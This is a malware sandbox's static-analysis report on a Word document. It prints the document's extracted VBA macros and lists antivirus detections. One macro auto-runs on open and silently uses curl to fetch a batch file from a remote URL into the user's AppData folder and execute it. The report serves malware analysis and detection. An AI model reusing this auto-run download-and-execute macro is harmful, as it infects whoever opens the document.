popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Deobfuscated

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Original

                                        Attribute VB_Name = "NewMacros"
Sub AutoOpen()
'
' AutoOpen Macro
'
'

Beatrix = "https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat"
Shell ("cmd /c curl -L -o %APPDATA%\Pun.bat " & Beatrix & " && %APPDATA%\Pun.bat"), vbHide
End Sub

Deobfuscated

                                        Attribute VB_Name = "NewMacros"
Sub AutoOpen()
'
' AutoOpen Macro
'
'

Beatrix = "https://gitlab.com/DemoTrojan/real/-/raw/main/check.bat"
Shell ("cmd /c curl -L -o %APPDATA%\Pun.bat " & Beatrix & " && %APPDATA%\Pun.bat"), vbHide
End Sub
[Content_Types].xml
L:Po0Cy
$SmDt_
_rels/.rels
word/document.xml
word/_rels/document.xml.rels
X=c+(\
word/vbaProject.bin
S5K^x
OR+U0SB
PW;Zzd_D
word/theme/theme1.xml
n!td[;
5}4Onb
word/_rels/vbaProject.bin.relsl
-\Ya;>>
word/vbaData.xml
<$I/,(|
%IL,8SQ,
word/settings.xml
,[J,To
86eE82
^w/5>Y
^G0xF0.
$LSM1yp
word/styles.xml
5].X!l
d}}) tMG
Pzz1xa
;d/&\j\
word/webSettings.xml
]?cv0$G
word/fontTable.xml
docProps/core.xml
docProps/app.xml
[Content_Types].xmlPK
_rels/.relsPK
word/document.xmlPK
word/_rels/document.xml.relsPK
word/vbaProject.binPK
word/theme/theme1.xmlPK
word/_rels/vbaProject.bin.relsPK
word/vbaData.xmlPK
word/settings.xmlPK
word/styles.xmlPK
word/webSettings.xmlPK
word/fontTable.xmlPK
docProps/core.xmlPK
docProps/app.xmlPK
Antivirus Signature
Bkav Clean
Lionic Trojan.MSWord.Generic.4!c
tehtris Clean
MicroWorld-eScan Clean
CMC Clean
CAT-QuickHeal Clean
Skyhigh Clean
ALYac Clean
Zillya Clean
Sangfor Clean
K7AntiVirus Clean
Alibaba Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Trojan.Gen.NPE.C
Elastic malicious (high confidence)
ESET-NOD32 DOC/TrojanDownloader.Agent.FHH
TrendMicro-HouseCall Clean
Avast Script:SNH-gen [Drp]
Cynet Malicious (score: 99)
BitDefender Clean
NANO-Antivirus Trojan.Ole2.Vbs-heuristic.druvzi
ViRobot Clean
Tencent Heur.Macro.Generic.a.189ad828
Trustlook Clean
TACHYON Suspicious/WOX.XSR.Gen
Sophos Clean
F-Secure Malware.VBA/AVI.snh.ahqyp
DrWeb Clean
VIPRE Clean
FireEye Clean
Emsisoft Clean
huorong Clean
GData Macro.Trojan.Agent.XT44GH
Varist PP97M/Agent.XJ.gen!Eldorado
Avira W2000M/AVI.snh.urvmw
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Clean
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Trojan.MSOffice.SAgent.gen
Avast-Mobile Clean
Google Detected.Heuristic.Script
AhnLab-V3 Clean
Acronis Clean
McAfee Clean
MAX Clean
VBA32 Clean
Zoner Clean
Rising Clean
Yandex Clean
Ikarus Clean
MaxSecure Clean
Fortinet Clean
BitDefenderTheta Clean
AVG Script:SNH-gen [Drp]
Panda Clean
CrowdStrike Clean
alibabacloud Trojan
No IRMA results available.